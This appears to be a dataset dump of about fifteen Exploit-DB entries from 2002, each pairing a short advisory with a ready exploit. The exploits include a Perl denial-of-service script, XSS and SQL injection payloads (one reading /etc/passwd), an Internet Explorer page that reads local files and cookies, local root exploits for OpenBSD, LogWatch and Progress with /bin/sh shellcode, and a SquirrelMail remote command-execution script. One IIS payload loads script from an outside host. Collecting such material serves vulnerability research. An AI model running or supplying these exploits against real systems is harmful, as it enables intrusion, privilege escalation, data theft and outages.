QLWD/code_shield huggingface dataset:
标题: Melange Chat System 2.0.2 Beta 2 - '/yell' Remote Buffer Overflow EDB-ID: 21379 CVE: 2002-0552 类型: DOS 平台: MULTIPLE 发布日期: 2002-04-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/4508/info

Melange Chat System is a chat server program developed by Christian Walter. Currently support for this application is no longer available.

Due to inadequate bounds checking in Melange, it is possible for users to initiate a buffer overflow.

Submitting an unusually large /yell argument composed of arbitrary data, could cause the overflow to occur. 

#!/usr/bin/perl
#Melange Chat Server Remote DDOS POC
#By DVDMAN (DVDMAN@L33TSECURITY.COM)
#WWW.L33TSECURITY.COM
#L33T SECURITY


use Getopt::Std;
use IO::Socket;
$|=1;


my %options;
getopt('Hhp',\%options);
$arg2 = shift(@ARGV);
$options{h} && usage();
if ($options{H})
{
do_melage();
}
if ($options{p})
{
do_malange();
}
else
{
usage();
}
sub usage()
{
    print("[L33TSECURITY] Malange Chat Remote DDOS\n");
    print(" (C) DVDMAN \n\n");
    print("Usage: $0 [options]\n");
    print("-H = hostname or ip REQUIRED\n");
    print("-p = port of ftp server REQUIRED\n");
}
  
exit(1);

 

sub malange() {
my $test = $options{H};
my $test2 = $options{p};

    $remote = IO::Socket::INET->new(
                        Proto     => "tcp",
                                PeerAddr  => $test,
                                PeerPort  => $test2,
        );
    unless ($remote) {
           print"error cannot connect";
           return
        }
    $remote->autoflush(1);


print STDERR "Melange Chat Server REMOTE DDOS BY DVDMAN\n";
print STDERR " starting attack in 5 seconds...\n";
sleep(5);

my $user = "user test test 0 0\r\n";
my $exploit = "/yell" . " " . "A"x600;


print $remote $user;
print $remote $exploit;
print STDERR "DONE\n"; 
die "BYE\n";
}





#By DVDMAN (DVDMAN@L33TSECURITY.COM)
#WWW.L33TSECURITY.COM
#L33T SECURITY URL: https://www.exploit-db.com/exploits/21379
标题: SunShop Shopping Cart 1.5/2.x - User-Embedded Scripting EDB-ID: 21377 CVE: 2002-0553 类型: WEBAPPS 平台: PHP 发布日期: 2002-04-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/4506/info

SunShop is commercial web store software. It is written in PHP, and will run on most Unix and Linux operating systems as well as Microsoft Windows.

SunShop allows attackers to embed arbitrary script code into form fields. This may enable a remote attacker to perform actions as the administrative user of the shopping cart. 

Enter the following name when registering as a new customer:

blackhat<script>alert('ouch')</script> URL: https://www.exploit-db.com/exploits/21377
标题: Microsoft Internet Explorer 5.5/6.0 - History List Script Injection EDB-ID: 21376 CVE: 2002-1688 类型: REMOTE 平台: WINDOWS 发布日期: 2002-04-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/4505/info

A vulnerability has been reported in some versions of Internet Explorer. It is possible to inject JavaScript code into the browser history list, and execute it within any page context given appropriate user interaction.

Internet Explorer stores javascript: URLs in the browser history list. Script executed within the javascript: URL will inherit the security zone of the last viewed page. This provides protection against javascript: URLs included within a maliciously constructed web page. However, a user may navigate to a javascript: URL using the 'Back' button in their browser. This may result in the injected script code executing within the context of another page.

This behavior has been reported in versions 6.0 and 5.5 of IE. Other versions of Internet Explorer may share this vulnerability. This has not, however, been confirmed. 

<html>
<h1>Press link and then the backbutton to trigger script.</h1>
<a href="javascript:execFile('file:///c:/winnt/system32/winmine.exe')">
Run Minesweeper (c:/winnt/system32/winmine.exe Win2000 pro)</a><br>
<a href="javascript:execFile('file:///c:/windows/system32/winmine.exe')">
Run Minesweeper (c:/windows/system32/winmine.exe XP, ME etc...)</a><br>
<a href="javascript:readFile('file:///c:/test.txt')">
Read c:\test.txt (needs to be created)</a><br>
<a href="javascript:readCookie('http://www.google.com/')">
Read Google cookie</a>

<script>
// badUrl = "http://www.nonexistingdomain.se"; // Use if not XP
badUrl = "res:";
function execFile(file){
  s = '<object classid=CLSID:11111111-1111-1111-1111-111111111111 ';
  s+= 'CODEBASE='+file+'></OBJECT>';
  backBug(badUrl,s);
}
function readFile(file){
  s = '<iframe name=i src='+file+' style=display:none onload=';
  s+= 'alert(i.document.body.innerText)></iframe>';
  backBug(badUrl,s);
}
function readCookie(url){
  s = '<script>alert(document.cookie);close();<"+"/script>';
  backBug(url,s);
}
function backBug(url,payload){
  len = history.length;
  page = document.location;
  s = "javascript:if (history.length!="+len+") {";
  s+= "open('javascript:document.write(\""+payload+"\")')";
  s+= ";history.back();} else '<script>location=\""+url
  s+= "\";document.title=\""+page+"\";<"+"/script>';";
  location = s;
}
</script>
</html> URL: https://www.exploit-db.com/exploits/21376
标题: OpenBSD 2.9/3.0 - Default Crontab Root Command Injection EDB-ID: 21373 CVE: 2002-0542 类型: LOCAL 平台: OPENBSD 发布日期: 2002-04-11 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/4495/info

OpenBSD ships with a number of cron jobs configured by default. The tasks are for the purpose of summarizing system information.

The mail(1) utility is used to send the summaries to the root user. This utility supports escaped characters in message text indicating commands to be executed during processing.

If attacker-supplied data can be included in the message text passed to mail(1), commands specified by the attacker may be executed as root. If the attacker embeds the escape sequence followed by an arbitrary command in this data, the commands will be executed as root when the cron task runs. It is possible for an attacker to embed data in filenames, which are included in the emails. 
*/

/*
 * (c) 2002 venglin@freebsd.lublin.pl
 *
 * OpenBSD 3.0 (before 08 Apr 2002)
 * /etc/security + /usr/bin/mail local root exploit
 *
 * Run the exploit and wait for /etc/daily executed from crontab.
 * /bin/sh will be suid root next day morning.
 *
 * Credit goes to urbanek@openbsd.cz for discovering vulnerability.
 *
 */

#include <fcntl.h>

int main(void)
{
        int fd;

        chdir("/tmp");
        fd = open("\n~!chmod +s `perl -e 'print \"\\057\\142\\151\\156\\057\\163\\150\"'`\n", O_CREAT|O_WRONLY, 04777);

        if (fd)
                close(fd);
} URL: https://www.exploit-db.com/exploits/21373
标题: IBM Informix Web Datablade 4.1x - Page Request SQL Injection EDB-ID: 21374 CVE: 2002-0554 类型: WEBAPPS 平台: CGI 发布日期: 2002-04-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/4496/info

Informix is an enterprise database distributed and maintained by IBM. The Web Datablade Module for Informix SQL, dynamically generates HTML content based on Database data. Web Datablade is available for Apache, IIS, and Netscape web servers, and a generic CGI version is provided for alternative servers. It will execute under Windows NT, Linux and many Unix-like systems.

A vulnerability has been reported in some versions of Web Datablade. Reportedly, it is possible to inject SQL commands into any page request processed by Web Datablade. This may result in the disclosure of sensitive information or increased access to the database.

There have been reports that a similar issue exists within the HTTP Basic Authentication process used by Web Datablade, which also submits queries to the database. However, detailed exploitation information is not available for this case.

http://victim.com/site/' UNION ALL SELECT FileToClob('/etc/passwd','server')::html,0 FROM sysusers WHERE username = USER --/.html URL: https://www.exploit-db.com/exploits/21374
标题: Microsoft IIS 4.0/5.0 - HTTP Error Page Cross-Site Scripting EDB-ID: 21372 CVE: 2002-0148 类型: REMOTE 平台: WINDOWS 发布日期: 2002-04-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/4486/info

A Cross Site Scripting issue exists in some versions of IIS. The HTTP Error Page created by IIS may, under some circumstances, contain HTML content which includes unsanitized user supplied input.

An attacker may construct a link to a vulnerable server such that it exploits this vulnerability. When an innocent user follows this link, the script code will be reproduced by the server, and execute within the context of the vulnerable site. This may result in the exposure of sensitive data and cookie information, or allow the attacker to subvert the content and functionality of the site.

It has been reported that this issue may be exploited to steal cookie-based authentication credentials from users of a number of Microsoft domains/services (such as hotmail, passport, etc.).

A number of Cisco products are affected by this vulnerability, although this issue is not present in the Cisco products themselves.

http://<img%09src=""%09onerror="document.scripts[0].src=%27http%5Cx3a%5Cx2f%5Cx2fjscript.dk%5Cx2ftest.js%27;">script@YOUR.TLD/SomeNonExistantPath

The above will include and execute http://jscript.dk/test.js on YOUR.TLD, provided that YOUR.TLD is served by an IIS installation. URL: https://www.exploit-db.com/exploits/21372
标题: Microsoft Internet Explorer 5 - Cascading Style Sheet File Disclosure (MS02-023) EDB-ID: 21361 CVE: 2002-0191 类型: REMOTE 平台: WINDOWS 发布日期: 2002-04-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/4411/info

The Cascading Style-Sheets (CSS) interpreter for Microsoft Internet Explorer is prone to an issue which may allow an attacker to read the contents of files on a web user's system.

It is possible to use the cssText property of the styleSheet to read portions of files that exist on an arbitrary web user's system. Successful exploitation will cause the CSS interpreter used by Internet Explorer to read portions of text if the targetted file contains a "{" character.

An attacker may exploit this via a malicious webpage to disclose sensitive information contained in (almost) arbitrary files that exist on a web user's system.

Microsoft Security Bulletin MS02-023 includes patches for this vulnerability. There have been reports that the Microsoft patches do not completely address this issue. A HTTP redirect may be used in a malicious webpage to exploit this vulnerability on some patched systems. 

This example attempts to read content from "c:/test.txt":

<link id="oFile" rel="stylesheet" href="file://c:/test.txt" disabled>
<script language="jscript">
onload=function () {
alert(document.styleSheets.oFile.cssText || "Could not extract any text
from file.");
}
</script> URL: https://www.exploit-db.com/exploits/21361
标题: Abyss Web Server 1.0 - File Disclosure EDB-ID: 21367 CVE: 2002-0544 2002-0543 类型: REMOTE 平台: WINDOWS 发布日期: 2002-04-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/4466/info

Abyss Web Server is a freely available personal web server. It is maintained by Aprelium Technologies and runs on Microsoft Windows operating systems, as well as Linux.

It is possible for a remote attacker to disclose the contents of arbitrary web-readable files by making a specially crafted web request containing encoded dot-dot-slash (../) sequences.

This issue may be exploited by a remote attacker to gain access to the administrative configuration file for the web server. Another known issue regarding plaintext storage of the administrative password is described in BugTraq ID 4467 "Abyss Web Server Plaintext Administrative Password Vulnerability" .

This issue was reported for Abyss Web Server for Microsoft Windows operating systems. It is not known whether the Linux version is also affected by this vulnerability. Furthermore, it should be noted that web servers on multi-user Windows operating systems generally run with SYSTEM privileges. 

http://target/cgi-bin/%2e%2e/abyss.conf URL: https://www.exploit-db.com/exploits/21367
标题: phpGroupWare 0.9.13 - Debian Package Configuration EDB-ID: 21365 CVE: 2002-0536 类型: REMOTE 平台: LINUX 发布日期: 2002-04-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/4424/info

PHPGroupWare is a freely available, open source groupware system written in PHP. It is distributed and maintained by the PHPGroupWare project.

Debian packages of PHPGroupWare ship with an insecure default configuration. The PHP magic_quotes_gpc directive of the PHPGroupWare apache.conf file is disabled by default in Debian packages. This may enable remote attackers to make SQL injection attacks via PHPGroupWare.

Under normal circumstances, PHPGroupWare installs with the PHP magic_quotes_gpc directive enabled, to restrict the possibility of SQL injection attacks.

Additionally, this issue may also enable an attacker to exploit vulnerabilities that may exist in the underlying database. 

fubar'; CREATE TABLE thistableshouldnotexist (a int); -- URL: https://www.exploit-db.com/exploits/21365
标题: DCShop Beta 1.0 - Form Manipulation EDB-ID: 21352 CVE: 2002-0492 类型: WEBAPPS 平台: CGI 发布日期: 2002-03-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/4356/info

DCShop Beta is a freely available shopping cart system, written in Perl. It will run on most Unix and Linux variants, as well as Microsoft Windows operating systems.

It is possible to overwrite setup files (*.setup) by submitting attacker-supplied form data followed by a null character (%00). The attacker must use the POST method to submit data that is content-type multipart/form-data compliant. 

curl -F database=@test.txt http://host/cgi-bin/dcshop.cgi

where test.txt contains databasename.setup[nullbyte]. URL: https://www.exploit-db.com/exploits/21352
标题: LogWatch 2.1.1/2.5 - Insecure Temporary Directory Creation EDB-ID: 21356 CVE: 2002-0162 类型: LOCAL 平台: LINUX 发布日期: 2002-03-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/4374/info

LogWatch is a freely available, open source script for monitoring log files. It may be used with the Linux and Unix Operating systems.

Upon execution, LogWatch creates a directory in /tmp. This directory uses the name logwatch.$pid, where $pid is the process id of the executing script. The LogWatch script does not check for an already existing directory or contents of the already existing directory. It is therefore possible for a local user to create a malicious logwatch.$pid directory using predicted process IDs, and place malicious files in the directory which will be executed. 

cat > logwatch211.sh <<EOF

#!/bin/bash
#
# March 27 2002
#
# logwatch211.sh
#
# Proof of concept exploit code
# for LogWatch 2.1.1
# Waits for LogWatch to be run then gives root shell
# For educational purposes only
#
# (c) Spybreak <spybreak@host.sk>


SERVANT="00-logwatch" # Logwatch's cron entry
SCRIPTDIR=/etc/log.d/scripts/logfiles/samba/

echo
echo "LogWatch 2.1.1 root shell exploit"
echo '(c) Spybreak <spybreak@host.sk>'
echo
echo "Waiting for LogWatch to be executed"

while :; do
  set `ps -o pid -C $SERVANT`
    if [ -n "$2" ]; then
      mkdir /tmp/logwatch.$2
      ln -s $SCRIPTDIR'`cd etc;chmod 666 passwd #`' /tmp/logwatch.$2/cron
      break;
    fi
done
echo "Waiting for LogWatch to finish it's work"
while :; do
  set `ps -o pid -C $SERVANT`
    if [ -z "$2" ]; then
      ls -l /etc/passwd|mail root
      echo master::0:0:master:/root:/bin/bash >> /etc/passwd
      break;
    fi
done
su master

EOF URL: https://www.exploit-db.com/exploits/21356
标题: PostNuke 0.703 - caselist Arbitrary Module Include EDB-ID: 21357 CVE: 2002-2015 类型: WEBAPPS 平台: PHP 发布日期: 2002-03-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/4381/info

PostNuke is a content management system originally forked from the PHP-Nuke project. It is implemented in PHP, and available for Windows, Linux and other Unix based systems.

A vulnerability has been reported in some versions of PostNuke. Reportedly, it is possible to force the script user.php to include arbitrary modules. These files may be hosted remotely and contain arbitrary code, which will then be executed by the vulnerable system.

Other versions of PostNuke may share this vulnerability. This has not, however, been confirmed.

http://lame_host/user.php?caselist[bad_file.txt][path]=http://bad_host URL: https://www.exploit-db.com/exploits/21357
标题: Progress Database 9.1 - sqlcpp Local Buffer Overflow EDB-ID: 21359 CVE: 2001-1127 类型: LOCAL 平台: MULTIPLE 发布日期: 2002-03-22 漏洞利用脚本: // source: https://www.securityfocus.com/bid/4402/info

Progress is a commercial database for Microsoft Windows and Unix systems.

A buffer overflow has been reported in the sqlcpp program included with Progress, used as a SQL preprocessor. Execution of arbitrary code is possible.

This issue has been reported to affect Unix systems. This vulnerability may also exist under Windows, this has not however been confirmed.

/*
 * Yet another Progress Database exploit (version ??)
 *
 * The vulnerability was found by KF / Snosoft (http://www.snosoft.com)
 * Exploit coded up by The Itch / Promisc (http://www.promisc.org)
 *
 * This exploit was developed on the Snosoft vulnerability research machines
 * mail dotslash@snosoft.com if you are interested in contributing research time
 *
 * - The Itch
 * - itchie@promisc.org
 *
 * - Technical details concerning the exploit -
 *
 * 1). Buffer overflow occurs after writing more then 56 bytes into the buffer at the command line
 *     (56 to overwrite ebp, 60 to overwrite eip).
 * 2). If you write more then 65 bytes, other frames will be overwritten afterwards and will mess up
 *     your flow of arbitrary code execution.
 */

#include <stdio.h>
#include <stdlib.h>

#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90

#define DEFAULT_BUFFER_SIZE 60

char shellcode[] =
        "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(int argc, char *argv[])
{
        char *buff;
        char *egg;
        char *ptr;
        long *addr_ptr;
        long addr;
        int bsize = DEFAULT_BUFFER_SIZE;
        int eggsize = DEFAULT_EGG_SIZE;
        int i;
        int get_sp = (int)&get_sp;

        if(argc > 1) { bsize = atoi(argv[1]); }

        if(!(buff = malloc(bsize)))
        {
                printf("unable to allocate memory for %d bytes\n", bsize);
                exit(1);
        }

        if(!(egg = malloc(eggsize)))
        {
                printf("unable to allocate memory for %d bytes\n", eggsize);
                exit(1);
        }

        printf("/usr/dlc/bin/sqlcpp\n");
        printf("Vulnerability found by KF / http://www.snosoft.com\n");
        printf("Coded by The Itch / http://www.promisc.org\n\n");
        printf("Using return address: 0x%x\n", get_sp);
        printf("Using buffersize    : %d\n", bsize);

        ptr = buff;
        addr_ptr = (long *) ptr;
        for(i = 0; i < bsize; i+=4) { *(addr_ptr++) = get_sp; }

        ptr = egg;
        for(i = 0; i < eggsize - strlen(shellcode) -1; i++)
        {
                *(ptr++) = NOP;
        }

        for(i = 0; i < strlen(shellcode); i++)
        {
                *(ptr++) = shellcode[i];
        }

        egg[eggsize - 1] = '\0';
        memcpy(egg, "EGG=", 4);
        putenv(egg);

        execl("/usr/dlc/sqlcpp", "sqlcpp", buff, 0);

        return 0;
} URL: https://www.exploit-db.com/exploits/21359
标题: Linux Kernel 2.2.x/2.3/2.4.x - 'd_path()' Path Truncation EDB-ID: 21353 CVE: 2002-0499 类型: LOCAL 平台: LINUX 发布日期: 2002-03-26 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/4367/info

The Linux kernel d_path() function converts a dentry structure into an ASCII path name. The full path to the specified dentry is returned in a fixed length buffer of size PAGE_SIZE bytes.

Reportedly, if a dentry structure is passed with a path which would exceed this length, an erroneous value is returned. The path which is returned has leading entries truncated, and no error is reported.
*/

/*
 * 2.2.x/2.4.x Linux kernel d_path proof-of-concept exploit
 *
 * Bug found by cliph
 */

#include <unistd.h>
#include <stdio.h>
#include <limits.h>
#include <errno.h>
#include <paths.h>

/*
 *  Note: on Linux 2.2.x PATH_MAX = PAGE_SIZE - 1 that gives us 1 byte for 
 *        trailing '\0' 
 */

#define PATH_COMPONENT "123456789abcdef"

void err(char * msg)
{
 if (errno) {
  perror(msg);
  exit(1);
 }
}

int main()
{
 char buf[PATH_MAX + 1]; /* think of trailing '\0' */
 int len;
 
 errno = 0;

 chdir(_PATH_TMP);
 err("chdir");
 
 /* show CWD before exploiting the bug */
 getcwd(buf, sizeof(buf));
 err("getcwd #1");
 fprintf(stderr, "CWD=%.40s\n", buf);
 
 /* creating long directory tree - it must exceed PATH_MAX characters */
 for (len = 0; len <= PATH_MAX; len += strlen(PATH_COMPONENT) + 1) {
  errno = 0;
  mkdir(PATH_COMPONENT, 0700);
  if (errno != EEXIST)
   err("mkdir");
  errno = 0;
  chdir(PATH_COMPONENT);
  err("mkdir");
 }

 /* show CWD before exploiting the bug */
 getcwd(buf, sizeof(buf));
 err("getcwd #1");
 fprintf(stderr, "CWD=%.40s... [stripped]\n", buf);
 
 return 0;
} URL: https://www.exploit-db.com/exploits/21353
标题: SquirrelMail 1.2.x - Theme Remote Command Execution EDB-ID: 21358 CVE: 2002-0516 类型: WEBAPPS 平台: PHP 发布日期: 2002-03-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/4385/info

SquirrelMail is a feature rich webmail program implemented in the PHP4 language. It is available for Linux and Unix based operating systems. SquirrelMail allows for extended functionality through a plugin system.

A vulnerability has been reported in some versions of SquirrelMail. Reportedly, it is possible to corrupt the variable used to select a user's theme, and force the vulnerable script to execute arbitrary commands. 

#!/bin/bash
#
# squirrelmail-1.2.5 remote execution by pokleyzz
http://www.inetd-secure.net
#
# usage   : ./sq125x themecount username password
url command
# example : ./sq125x 2 pokley 123456
http://mail.pokleyzz.my/mail "cat /etc/passwd"
#
# curl can be found at http://curl.haxx.se/libcurl/
#

export
PATH="/usr/bin:/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/l
ocal/sbin"
export CURL="/usr/bin/curl"
export USERNAME="$2"
export PASSWORD="$3"
export THEME_COUNT="$1"
export URL="$4"
export COMMAND=`echo $5|sed 's/\ /%20/g' -`
export TMPFILE="header.tmp"
export THEME="theme[${THEME_COUNT}][PATH]
=../data/${USERNAME}.pref; theme
[${THEME_COUNT}][NAME]=testing"

#step 1
sed "s/pokley/"$USERNAME"/g" post.txt >lame.txt
/bin/rm -rf ${TMPFILE}
$CURL -b "$THEME" -d
login_username=${USERNAME} -d
secretkey=${PASSWORD} -d
js_autodetect_results=0 -d just_logged_in=1 -D
${TMPFILE} ${URL}/src/redirect.php
export COOKIES=`cat ${TMPFILE} |grep Set-
Cookie|awk {'print $2'}|while read data;do printf '%b'
$data;done`
export COOKIES="${COOKIES} ${THEME}"
$CURL -b "$COOKIES" -d @lame.txt -o /tmp/.tmp --
silent ${URL}/src/options.php

#step 2
sleep 5s
$CURL -b "$THEME" -d
login_username=${USERNAME} -d
secretkey=${PASSWORD} -d
js_autodetect_results=0 -d just_logged_in=1 -D
${TMPFILE} ${URL}/src/redirect.php
export COOKIES=`cat ${TMPFILE} |grep Set-
Cookie|awk {'print $2'}|while read data;do printf '%b'
$data;done`
export COOKIES="${COOKIES} ${THEME}"
$CURL -b "$COOKIES" -d @lame.txt -o /tmp/.tmp --
silent ${URL}/src/options.php
$CURL -b "$COOKIES" ${URL}/src/left_main.php?
cmdd=${COMMAND}
$CURL -b "$COOKIES" -o /tmp/.tmp --silent
${URL}/src/signout.php
rm -rf lame.txt /tmp/.tmp URL: https://www.exploit-db.com/exploits/21358